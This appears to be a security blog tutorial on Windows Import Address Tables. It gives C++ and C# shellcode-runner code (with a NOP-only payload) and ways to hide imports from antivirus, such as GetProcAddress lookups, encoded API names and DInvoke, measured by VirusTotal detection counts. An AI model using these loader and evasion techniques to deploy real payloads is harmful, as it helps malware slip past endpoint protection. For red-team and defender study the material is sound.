Import Address Tables

Windows executable files are stored in Portable Executable (PE) format. PE files contain an Import Address Table (IAT). The IAT is a lookup table used when the application is calling functions in a different module. When the file is executed, the Windows Loader will fill in the IAT with the appropriate function addresses.

Viewing a PE32 Import Address Table on Disk

We can examine the IAT by opening a file in PEStudio;

PEStudio Notepad.exe

We can see the application has a large number of imports, including functions such as RegOpenKey. Because of this, we know the application interacts with the systems registry somehow.

So, just by looking at the IAT we can get a good understanding of the types of things the application will do. Anti-Virus software also analyses the IAT in a similar way to determine if an application might have malicious intent.

We can also query imports using dumpbin.exe (which is included with Visual Studio).

dumpbin /imports C:\Windows\system32\notepad.exe
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file C:\Windows\system32\notepad.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    GDI32.dll
             140029930 Import Address Table
             140030D60 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                         391 SetMapMode
                         3A5 SetViewportExtEx
                         3A9 SetWindowExtEx
                         2F7 LPtoDP
                         37C SetBkMode
                         2E7 GetTextMetricsW
                         3B6 TextOutW
                           0 AbortDoc
                         199 EndDoc
                         376 SetAbortProc
                         3AD StartDocW
                         3AF StartPage
                          34 CreateDCW
                         1D2 EnumFontsW
                         2E5 GetTextFaceW
                         28B GetDeviceCaps
                         18C DeleteDC
                         18F DeleteObject
                         37B SetBkColor
                          5A CreateSolidBrush
                         2DF GetTextExtentPoint32W
                         374 SelectObject
                          31 CreateCompatibleDC
                         19C EndPage
                          43 CreateFontIndirectW

    USER32.dll
             140029A00 Import Address Table
             140030E30 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                         2AF PostQuitMessage
                          11 BeginPaint
                          F4 EndPaint
                         110 FillRect
                          DE DrawTextW
                          D2 DrawFocusRect
                          A7 DefWindowProcW
<SNIP>

Viewing the Import Address Table in Memory

We can view the populated IAT using WinDBG. Once again, examining notepad.exe. We start by listing the loaded modules in memory;

0:000> lm
start             end                 module name
00007ff7`e7c30000 00007ff7`e7c8a000   notepad    (pdb symbols)          C:\ProgramData\Dbg\sym\notepad.pdb\C694C0AA7279CC672966901283BF50541\notepad.pdb
00007ffa`9e2b0000 00007ffa`9e53e000   COMCTL32   (deferred)             
00007ffa`bb8d0000 00007ffa`bb9e3000   gdi32full   (deferred)             
00007ffa`bbb30000 00007ffa`bbc41000   ucrtbase   (deferred)             
00007ffa`bbc50000 00007ffa`bbcea000   msvcp_win   (deferred)             
00007ffa`bbcf0000 00007ffa`bc08c000   KERNELBASE   (deferred)             
00007ffa`bc270000 00007ffa`bc296000   win32u     (deferred)             
00007ffa`bc2a0000 00007ffa`bc44d000   USER32     (deferred)             
00007ffa`bc980000 00007ffa`bca95000   RPCRT4     (deferred)             
00007ffa`bcf80000 00007ffa`bcfa9000   GDI32      (deferred)             
00007ffa`bd060000 00007ffa`bd104000   sechost    (deferred)             
00007ffa`bd110000 00007ffa`bd201000   shcore     (deferred)             
00007ffa`bd2c0000 00007ffa`bd383000   KERNEL32   (deferred)             
00007ffa`bd390000 00007ffa`bd437000   msvcrt     (deferred)             
00007ffa`bd460000 00007ffa`bd7e9000   combase    (deferred)             
00007ffa`be100000 00007ffa`be1ae000   advapi32   (deferred)             
00007ffa`be490000 00007ffa`be6a4000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\3705770A0F65D9599F89B9AB8B5B9C9B1\ntdll.pdb

Then use the dump header (dh) command to find the offset of the IAT;

0:000> !dh 00007ff7`e7c30000 -f

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
E798EFB4 time date stamp Sun Feb 15 18:08:52 2093

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
     20B magic #
   14.30 linker version
   28000 size of code
   31000 size of initialized data
       0 size of uninitialized data
    19A0 address of entry point
    1000 base of code
         ----- new -----
00007ff7e7c30000 image base
    1000 section alignment
    1000 file alignment
       2 subsystem (Windows GUI)
   10.00 operating system version
   10.00 image version
   10.00 subsystem version
   5A000 size of image
    1000 size of headers
   5DC70 checksum
0000000000080000 size of stack reserve
0000000000011000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
    C160  DLL characteristics
            High entropy VA supported
            Dynamic base
            NX compatible
            Guard
            Terminal server aware
       0 [       0] address [size] of Export Directory
   30900 [     3FC] address [size] of Import Directory
   3A000 [   1E1D0] address [size] of Resource Directory
   37000 [    1434] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   59000 [     2F8] address [size] of Base Relocation Directory
   2E440 [      54] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   29790 [     140] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
   298D0 [     B68] address [size] of Import Address Table Directory
   30438 [      E0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

The import table can then be dumped using the dps command;

0:007> dps 00007ff7`e7c30000+298D0 
00007ff7`e7c598d0  00007ffa`9e32b200 COMCTL32!ImageList_Create
00007ff7`e7c598d8  00007ffa`9e32c4e0 COMCTL32!ImageList_SetBkColor
00007ff7`e7c598e0  00007ffa`9e31bd20 COMCTL32!LoadIconWithScaleDown
00007ff7`e7c598e8  00007ffa`9e2c24d0 COMCTL32!ImageList_ReplaceIcon
00007ff7`e7c598f0  00007ffa`9e2fbd30 COMCTL32!SetWindowSubclass
00007ff7`e7c598f8  00007ffa`9e32b710 COMCTL32!ImageList_Draw
00007ff7`e7c59900  00007ffa`9e32bc70 COMCTL32!ImageList_GetIconSize
00007ff7`e7c59908  00007ffa`9e2c6e60 COMCTL32!DefSubclassProc
00007ff7`e7c59910  00007ffa`9e32b2e0 COMCTL32!ImageList_Destroy
00007ff7`e7c59918  00007ffa`9e3411c0 COMCTL32!TaskDialogIndirect
00007ff7`e7c59920  00007ffa`9e2f9030 COMCTL32!CreateStatusWindowW
00007ff7`e7c59928  00000000`00000000
00007ff7`e7c59930  00007ffa`bcf812d0 GDI32!SetMapModeStub
00007ff7`e7c59938  00007ffa`bcf8c700 GDI32!SetViewportExtExStub
00007ff7`e7c59940  00007ffa`bcf8c770 GDI32!SetWindowExtExStub
00007ff7`e7c59948  00007ffa`bcf84c40 GDI32!LPtoDPStub

Import Table Avoidance

There are a few benefits to not putting our function imports into the IAT.

  • They won’t be visible by Anti-Virus software parsing the IAT
  • We can obfuscate the functions text strings, so they will not be visible in the binary at all
  • Anti-Virus software may modify the IAT of an application to reroute execution to the AV vendors logging functions, before redirecting to the real function

Testing a C++ Shellcode Runner

First, let’s create a shellcode runner in C++. We’re just using NOP instructions for the shellcode, so the program isn’t actually doing anything malicious.

// ShellcodeRunner.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	void* payload_dest;
	// Our shellcode
	unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
	unsigned int payload_length = sizeof(payload_src);
	std::cout << "The length of the payload is: " << payload_length << "\n";

	// Allocate some memory the same size as our payload
	payload_dest = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	// Copy payload to allocated memory
	RtlMoveMemory(payload_dest, payload_src, payload_length);

	// Use VirtualProtect to mark memory as writable. flOldProtect is a DWORD that receives previous protection flags.
	DWORD flOldProtect = 0;
	VirtualProtect(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect);

	//Create a new thread
	HANDLE myHandle;
	myHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0);

	//WaitForSingleObject prevents the program from terminating until the thread returns
	WaitForSingleObject(myHandle, INFINITE);									

}

Viewing the file in PEStudio, we can see the imports we made;

PEStudio Shellcode Runner

Compiling the application and uploading it to Virus Total shows that 10/68 Anti-Virus vendor classify the sample as malicious, just based on the fact we’re using “suspicious” functions.

VirusTotal Results 1

Hiding Imports (C++)

If we lookup function addresses dynamically when the application is running, rather than importing them normally, we can avoid listing the functions in the Import Address Table.

To do this, we use GetProcAddress to get a pointer to the function we’re aiming to call. As per the Microsoft documentation for GetProcAddress, typdef’s are created for the functions parameters to try and ensure we don’t supply invalid data (and to simplify calling the functions).

For instance, to call VirtualAlloc in this manner, we define a typedef as a global variable;

typedef LPVOID (WINAPI * DynamicVA)(
	 LPVOID lpAddress,
	 SIZE_T dwSize,
	 DWORD  flAllocationType,
	 DWORD  flProtect
);

In the main code body, we lookup the module address of Kernel32, which is required for GetProcAddress.

HMODULE Kernel32 = GetModuleHandle("kernel32.dll");

We then use GetProcAddress address to find the address of VirtualAlloc. We can then call the function as we normally would.

	DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, "VirtualAlloc");
	payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

The process can be repeated for all functions we are importing in the application. It’s worth noting that if the function names can still be identified as strings contained in the application. Defining the strings as character arrays can help prevent this type of pattern matching, or you could implement a custom encoding routine.

	char VACharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };

Code for performing dynamic lookups on all imported functions;

// DynamicFunctionLookup.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef BOOL (WINAPI * DynamicVP)(
	 LPVOID lpAddress,
	 SIZE_T dwSize,
	 DWORD  flNewProtect,
	 PDWORD lpflOldProtect
);

typedef LPVOID (WINAPI * DynamicVA)(
	 LPVOID lpAddress,
	 SIZE_T dwSize,
	 DWORD  flAllocationType,
	 DWORD  flProtect
);

typedef DWORD (WINAPI * DynamicWSO)(
	 HANDLE hHandle,
     DWORD  dwMilliseconds
);

typedef VOID (WINAPI * DynamicRTL)(
	VOID UNALIGNED* Destination,
    const VOID UNALIGNED* Source,
    SIZE_T         Length
);

typedef HANDLE (WINAPI * DynamicCT)(
     LPSECURITY_ATTRIBUTES   lpThreadAttributes,
	 SIZE_T                  dwStackSize,
	 LPTHREAD_START_ROUTINE  lpStartAddress,
	 __drv_aliasesMem LPVOID lpParameter,
	 DWORD                   dwCreationFlags,
	 LPDWORD                 lpThreadId
);

int main()
{
	void* payload_dest;
	// Our shellcode
	unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };

	unsigned int payload_length = sizeof(payload_src);
	std::cout << "The length of the payload is: " << payload_length << "\n";

	// Get Kernel32 module handle (will be used multiple times)
	char krnCharArray[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0 };
	HMODULE Kernel32 = GetModuleHandleA(krnCharArray);

	//Lookup VirtualAlloc at runtime
	char VACharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
	DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, VACharArray);
	payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to allocated memory
	char RTLCharArray[] = { 'R', 't', 'l', 'M', 'o', 'v', 'e', 'M', 'e', 'm', 'o', 'r','y', 0};
	DynamicRTL RTL = (DynamicRTL)GetProcAddress(Kernel32, RTLCharArray);
	RTL(payload_dest, payload_src, payload_length);

	//Lookup VirtualProtect at runtime
	char VPCharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0};
	DynamicVP VP = (DynamicVP)GetProcAddress(Kernel32, VPCharArray);
	DWORD flOldProtect = 0;
	VP(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect);

	//Create a new thread
	HANDLE myHandle;
	char CTCharArray[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0 };
	DynamicCT CT = (DynamicCT)GetProcAddress(Kernel32, CTCharArray);
	myHandle = CT(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0);

	//WaitForSingleObject prevents the program from terminating until the thread returns
	char WSOCharArray[] = { 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b','j','e','c','t', 0};
	DynamicWSO WSO = (DynamicWSO)GetProcAddress(Kernel32, WSOCharArray);
	WSO(myHandle, INFINITE);

}

By uploading the sample to VirusTotal, we can see our detection rates have dropped to 5/10 AV vendors.

VirusTotal Results 2

Testing a C# ShellCode Runner

Implementing the same code in C# requires the use of Interop Services to call native Windows API’s

using System;
using System.Runtime.InteropServices;

namespace ShellCodeRunner
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        static void Main(string[] args)
        {
            byte[] payload_src = new byte[] { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
            int payload_length = payload_src.Length;
            Console.WriteLine("The length of the payload is: " + payload_length);

            // Allocate some memory the same size as our payload
            IntPtr payload_dest = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            // Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory.
            Marshal.Copy(payload_src, 0, payload_dest, payload_length);
            //Create a new thread
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero);
            //WaitForSingleObject prevents the program from terminating until the thread returns
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

If we run dumpbin.exe on the application, we can see there are no imports listed…

dumpbin /imports ShellcodeRunner.exe
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file ShellcodeRunner.exe

File Type: EXECUTABLE IMAGE

  Summary

        2000 .rsrc
        2000 .text

This is because functions imported via PInvoke are stored in the ImplMap table. These entries can be seen in PEStudio;

Uploading the file to VirusTotal shows we’re getting 26/70 detections.

Hiding Imports (C#)

DInvoke is a dynamic replacement for PInvoke on Windows. The DInvoke library can be installed as a nuget package.

using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
using static DInvoke.DynamicInvoke.Win32;

namespace DInvokeShellcode
{
    internal class Program
    {
        private struct Delegates
        {
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            public delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        }

        public static string Decode(string base64EncodedData)
        {
            var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
            return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
        }

        // VirtualAlloc
        public static IntPtr VA(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect)
        {
            object[] funcargs =
            {
                lpAddress, dwSize, flAllocationType, flProtect
            };
            // Kernel32.dll / VirtualAlloc Base64 encoded
            IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("VmlydHVhbEFsbG9j"),typeof(Delegates.VirtualAlloc), ref funcargs);
            return retVal;
        }


        // CreateThread
        public static IntPtr CT(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId)
            {
            // Craft an array for the arguments
                object[] funcargs =
                {
                     lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
                };
            // Kernel32.dll / CreateThread Base64 encoded
            IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("Q3JlYXRlVGhyZWFk"),typeof(Delegates.CreateThread), ref funcargs);
            return retVal;
        }

        // WaitForSingleObject
        public static UInt32 WSO(IntPtr hHandle, UInt32 dwMilliseconds)
        {
            object[] funcargs =
            {
                hHandle, dwMilliseconds
            };
            // Kernel32.dll / WaitForSingleObject Base64 encoded
            UInt32 retVal = (UInt32)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("V2FpdEZvclNpbmdsZU9iamVjdA=="),typeof(Delegates.WaitForSingleObject), ref funcargs);
            return retVal;
        }

        static void Main(string[] args)
        {

            byte[] payload_src = new byte[] { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };

            int payload_length = payload_src.Length;
            Console.WriteLine("The length of the payload is: " + payload_length);

            // Allocate some memory the same size as our payload
            IntPtr payload_dest = VA(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            // Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory.
            Marshal.Copy(payload_src, 0, payload_dest, payload_length);
            //Create a new thread
            IntPtr hThread = CT(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero);
            //WaitForSingleObject prevents the program from terminating until the thread returns
            WSO(hThread, 0xFFFFFFFF);
        }
    }
}

Uploading the sample to VirusTotal shows detection rates have dropped to 11/70;

The Anti Virus software may be triggering on the presence of the DInvoke DLL. Uploading just the DLL on it’s own results in a detection rate of 46/69 đŸ™ƒ

Benign Imports

Detection rates have been lowered, and from PEStudio we can see that our function calls are no longer listed in the IAT. However, the fact the execute does not seem to be calling many external functions could be seen as suspicious in itself.

PEStudio Extra Imports

Because of this, it’s worth adding some additional imports into the application so it appears it has some legitimate purpose.


In Conclusion

Dynamically looking up function addresses during execution certainly has it’s benefits for evading on disk detection. The testing performed here isn’t entirely scientific, but I think it shows the benefits of performing function lookups at runtime.

Dynamic lookups using C++ seem to be favourable to C# implementations. Using P/Invoke is generally seen as a suspicious indicator, and D/Invoke is often classified as malicious.

However, this would need to be combined with multiple other techniques to evade behavioural protection. In addition, any shellcode would need to be obfuscated before use.